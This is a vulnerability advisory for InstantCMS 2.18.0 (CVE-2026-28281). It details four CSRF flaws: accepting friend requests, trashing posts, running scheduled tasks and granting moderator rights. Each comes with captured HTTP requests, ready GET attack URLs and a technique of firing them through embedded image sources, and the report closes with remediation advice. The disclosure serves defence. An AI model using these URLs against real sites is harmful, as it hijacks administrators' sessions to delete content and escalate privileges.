InstantCMS - v2.18.0 - Cross-Site Request Forgery

By 0xhamy 05:24 AM - March 13th 2026
Type software
Product Environment web
Product Name InstantCMS
Product Vendor InstantSoft
Product Version 2.18.0
Product Link https://instantcms.ru/
Vulnerability Name Cross-Site Request Forgery
Severity High
CVSS String
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
CVSS Score 7.1
CVE ID CVE-2026-28281
Vendor Acknowledgement Yes
Affected digital Assets
475728
Affected Users
4757280
Date of Reporting 2026-01-27
PoC Exploit https://github.com/instantsoft/icms2/security/advisories/GHSA-pp43-262q-h73m
Credit 0xhamy

Description

Multiple CSRF vulnerabilities was identified on InstantCMS. There are some endpoints within Instant CMS that have CSRF tokens, there are some that don't, there are plenty of endpoints where converting a POST request to a GET request works which makes it super easy to perform attacks against unsuspecting users. These attack can lead to performing unauthorized actions like granting privileges to arbitrary users, executing backend tasks and moving posts to trash.

Vulnerability details

I'd like to show you various endpoints and functionalities within the site that can be used to exploit these CSRF vulnerabilities.

The number one place where it's super unsuspecting to insert a URL that's going to be automatically triggered on page load is either:

  • a user's wall
  • a comment
  • messaging functionality

All of these functionalities allow usage of a rich text editor like the following: image1

From here, click on image icon and enter a source URL, you can get one for testing from webhook.site; and then just click send to post it. Now every-time the page gets loaded, a GET request is sent to:

https://webhook.site/XXXXXXXXXXX

This behavior while intentional can be used to trigger CSRF attacks due to lack of CSRF tokens for making sensitive requests and also because those requests can be converted from POST to GET.

If those requests were just POST requests, we couldn't exploit them even with no CSRF token, it would require a XSS/HTML injection vulnerability or something else to trigger a POST request.


Four counts of CSRF vulnerabilities

Follow along to see four counts of CSRF vulnerabilities affecting InstantCMS.

1. Accepting Friend Requests on Behalf of a User

When you send a friend request to another user, they have to accept it. The process of accepting a friend request requires two accounts, one for sending the request to another user and the other for accepting it.

During my test, I created an account to send friend request to administrator. Open admin's profile page from your newly created user account:

http://172.26.0.3/users/1

Click on "Actions" button, it opens a dropdown and choose "Add to Friends", a popup asks you for confirmation and click "Confirm" button. Now login as administrator and check notifications: image2

Use a proxy like BurpSuite with your browser to capture requests, turn on the proxy and then click on "Accept" button and capture the request:

POST /messages/notice_action HTTP/1.1 
Host: 172.26.0.3 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0 
Accept: application/json, text/javascript, */*; q=0.01 
Accept-Language: en-US,en;q=0.9 
Accept-Encoding: gzip, deflate, br 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
X-Requested-With: XMLHttpRequest 
Content-Length: 30 
Origin: http://172.26.0.3 
Connection: keep-alive 
Referer: http://172.26.0.3/posts/5-moi-pervyi-post-v-soobschestve.html 
Cookie: icms[guest_date_log]=1769367773; icms[device_type]=desktop; icms[auth]=ff5b670573f83d35e7955b499344108089acac44479c65bac1b14fabb3c69710ad460f332861d95091904267da833313b399c1706ce6a9ddf1bfdefda669f934; icms[users_tree_path]=%2F6; icms[addons_tree_path]=%2F0.0; icms[widgets_tree_path]=%2Fcustom; icms[introjs_widgets]=1; icms[menu_tree_path]=%2F1.0; icms[content_tree_path]=%2F1.1; ICMS6973D08DDA90A=16ecab59f2a599febd26cb76ad95763e Priority: u=0

notice_id=5&action_name=accept

As you can see this POST request does not require a CSRF token and it can be converted to a GET request:

GET /messages/notice_action?notice_id=5&action_name=accept HTTP/1.1 
Host: 172.26.0.3 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0 
Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br 
X-Requested-With: XMLHttpRequest 
Origin: http://172.26.0.3 Connection: keep-alive 
Referer: http://172.26.0.3/posts/5-moi-pervyi-post-v-soobschestve.html 
Cookie: icms[guest_date_log]=1769367773; icms[device_type]=desktop; icms[auth]=ff5b670573f83d35e7955b499344108089acac44479c65bac1b14fabb3c69710ad460f332861d95091904267da833313b399c1706ce6a9ddf1bfdefda669f934; icms[users_tree_path]=%2F6; icms[addons_tree_path]=%2F0.0; icms[widgets_tree_path]=%2Fcustom; icms[introjs_widgets]=1; icms[menu_tree_path]=%2F1.0; icms[content_tree_path]=%2F1.1; ICMS6973D08DDA90A=16ecab59f2a599febd26cb76ad95763e Priority: u=0

A GET request can also be copied into a URL like this:

http://172.26.0.3/messages/notice_action?notice_id=5&action_name=accept

This URL can easily be triggered using the aforementioned rich text editor. The notice_id parameter must be guessed but it's fairly easy to guess it because it's a number that keeps increasing as more friend requests are sent.

For example if you decline this friend request as administrator, login to the other user's account and send another friend request, login back to administrator and click "Accept" and capture the request, the notice_id increases by 1 and becomes 6.

Another thing to understand is that an attacker can simply use the rich text editor to insert more than 100 images each with Source URL containing a unique notice_id and when the victim visits the web page, all GET requests get triggered.

CVSS Score

  • Medium (4.3)
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

2. Moving Arbitrary Posts to Trash as Administrator

Admins have the permission to move anyone's post into the trash. While deleting posts require a CSRF token, moving a post into trash does not.

Login as administrator and open a post, if you are using the demo version of Instant CMS, you probably have access to the following post:

http://172.26.0.3/posts/5-moi-pervyi-post-v-soobschestve.html

If not, create a post.

Click on "Actions" and a dropdown will appear, click on "Move to trash", a JavaScript alert box shows up asking "Are you sure you want to delete post?", click "Yes" and capture the request:

GET /posts/trash_put/5 HTTP/1.1 Host: 172.26.0.3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: http://172.26.0.3/posts/5-moi-pervyi-post-v-soobschestve.html Cookie: icms[guest_date_log]=1769367773; icms[device_type]=desktop; icms[auth]=ff5b670573f83d35e7955b499344108089acac44479c65bac1b14fabb3c69710ad460f332861d95091904267da833313b399c1706ce6a9ddf1bfdefda669f934; icms[users_tree_path]=%2F6; icms[addons_tree_path]=%2F0.0; icms[widgets_tree_path]=%2Fcustom; icms[introjs_widgets]=1; icms[menu_tree_path]=%2F1.0; icms[content_tree_path]=%2F1.1; ICMS6973D08DDA90A=16ecab59f2a599febd26cb76ad95763e Upgrade-Insecure-Requests: 1 Priority: u=0, i

This is a GET request that doesn't require a CSRF token at all. The GET URL to trigger this action is as follows:

http://172.26.0.3/posts/trash_put/5

The endpoint takes a POST ID which in Instant CMS can easily be figured out, have a look at these post URLs for example:

http://172.26.0.3/articles/10-mythological-recipient.html http://172.26.0.3/articles/11-public-review-of-international-experience.html http://172.26.0.3/articles/4-undersaturated-diamond-preconditions-and-development.html http://172.26.0.3/articles/1-elliptical-perigee-in-the-xxi-century.html

Those numbers at the beginning of the slug after /articles/ is the post's ID, that can be used to move any post to trash on admin's behalf using the rich text editor.

An attacker can easily abuse this to enumerate all posts and their IDs from the CMS and then insert 100 images containing Source URLs like this:

http://172.26.0.3/posts/trash_put/1 http://172.26.0.3/posts/trash_put/2 http://172.26.0.3/posts/trash_put/3 ... ... ... http://172.26.0.3/posts/trash_put/100

And as a result, they can move hundreds of posts to the trash on admin's behalf.

CVSS Score

  • Medium (6.5)
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

3. Executing Scheduled Tasks as Administrator

Login to the CMS as administrator and navigate to the following endpoint:

http://172.26.0.3/admin/settings/scheduler

Inside schedulers table, look for a triangle icon under actions column, turn on BurpSuite's proxy interception and click on any task's triangle to run it; you will get a request like this:

GET /admin/settings/scheduler/run/4 HTTP/1.1 Host: 172.26.0.3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: http://172.26.0.3/admin/settings/scheduler Cookie: icms[guest_date_log]=1769367773; icms[device_type]=desktop; icms[auth]=ff5b670573f83d35e7955b499344108089acac44479c65bac1b14fabb3c69710ad460f332861d95091904267da833313b399c1706ce6a9ddf1bfdefda669f934; icms[users_tree_path]=%2F6; icms[addons_tree_path]=%2F0.0; icms[widgets_tree_path]=%2Fcustom; icms[introjs_widgets]=1; icms[menu_tree_path]=%2F1.0; icms[content_tree_path]=%2F1.1; ICMS6973D08DDA90A=16ecab59f2a599febd26cb76ad95763e Upgrade-Insecure-Requests: 1 Priority: u=0, i

Copying this as URL produces the following:

http://172.26.0.3/admin/settings/scheduler/run/4

Task scheduler takes a task ID but that's easily guessable, by default the demo instant CMS site has over 10 tasks, they can easily be triggered through rich text editor's intended functionality of image load by source URL.

CVSS Score

  • High (7.1)
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:M

4. Granting Moderator Privileges to Arbitrary Users

Login as administrator and open the following endpoint:

http://172.26.0.3/admin/ctypes

Look for key icon under "Actions" table and click it, here permissions shows up: image3

Click on "Moderators" tab to open it: image4

Here you can enter the email address of a user to assign them as a moderator. Enter email address of an existing user within the CMS, turn on BurpSuite proxy and click on "New" button to capture the request:

POST /admin/ctypes/moderators/10/add HTTP/1.1 Host: 172.26.0.3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 22 Origin: http://172.26.0.3 Connection: keep-alive Referer: http://172.26.0.3/admin/ctypes/moderators/10 Cookie: icms[guest_date_log]=1769367773; icms[device_type]=desktop; icms[auth]=ff5b670573f83d35e7955b499344108089acac44479c65bac1b14fabb3c69710ad460f332861d95091904267da833313b399c1706ce6a9ddf1bfdefda669f934; icms[users_tree_path]=%2F6; icms[addons_tree_path]=%2F0.0; icms[widgets_tree_path]=%2Fcustom; icms[introjs_widgets]=1; icms[menu_tree_path]=%2F1.0; icms[content_tree_path]=%2F1.1; ICMS6973D08DDA90A=16ecab59f2a599febd26cb76ad95763e Priority: u=0

name=user1%40gmail.com

Convert the request to GET and copy it as a URL and you get something like this: http://172.26.0.3/admin/ctypes/moderators/10/add?name=user1%40gmail.com

This action also doesn't require a CSRF token and can easily be triggered by an attacker using the rich text editor functionality to grant moderation privileges to any user on an admin's behalf which is a pretty sensitive action.

CVSS Score

  • High (7.1)
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

Recommendation

  • Require CSRF tokens on all sensitive actions: All state-changing endpoints should validate a CSRF token to ensure requests originate from legitimate user interactions.

  • Disallow state-changing actions via GET requests: Actions that modify data should only be accessible through POST/PUT/PATCH/DELETE and the server should reject equivalent GET requests.

  • Validate request origin: Check the Origin and/or Referer headers for authenticated requests to ensure they come from the same application domain.

  • Harden user-generated content handling: Restrict or sanitize external resources in rich text content (e.g., images) to prevent automatic triggering of sensitive endpoints.